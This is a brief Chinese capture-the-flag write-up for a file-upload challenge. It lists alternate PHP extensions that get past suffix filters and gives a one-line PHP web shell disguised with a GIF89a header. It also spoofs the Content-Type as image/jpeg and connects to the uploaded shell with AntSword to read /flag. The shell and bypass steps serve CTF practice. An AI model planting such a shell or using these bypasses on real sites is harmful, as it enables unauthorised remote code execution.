0x00 知識點
一個常規上傳題目,知識點全都來自前幾天寫的文章:
https://www.cnblogs.com/wangtanzhi/p/12243206.html
1:某些情況下繞過后綴名檢測:
php,php3,php4,php5,phtml.pht
2:常用一句話:
GIF89a? <script language="php">eval($_REQUEST[shell])</script>
php5適用
3:文件類型繞過
改成image/jpeg
0x01 解題
做如下修改:
蟻劍連接:
http://3915f5e8-a730-4ca3-80c1-572b9cff8776.node3.buuoj.cn/upload/1.phtml
訪問:
文件太多了 我們直接在終端cat /flag
右鍵 虛擬終端: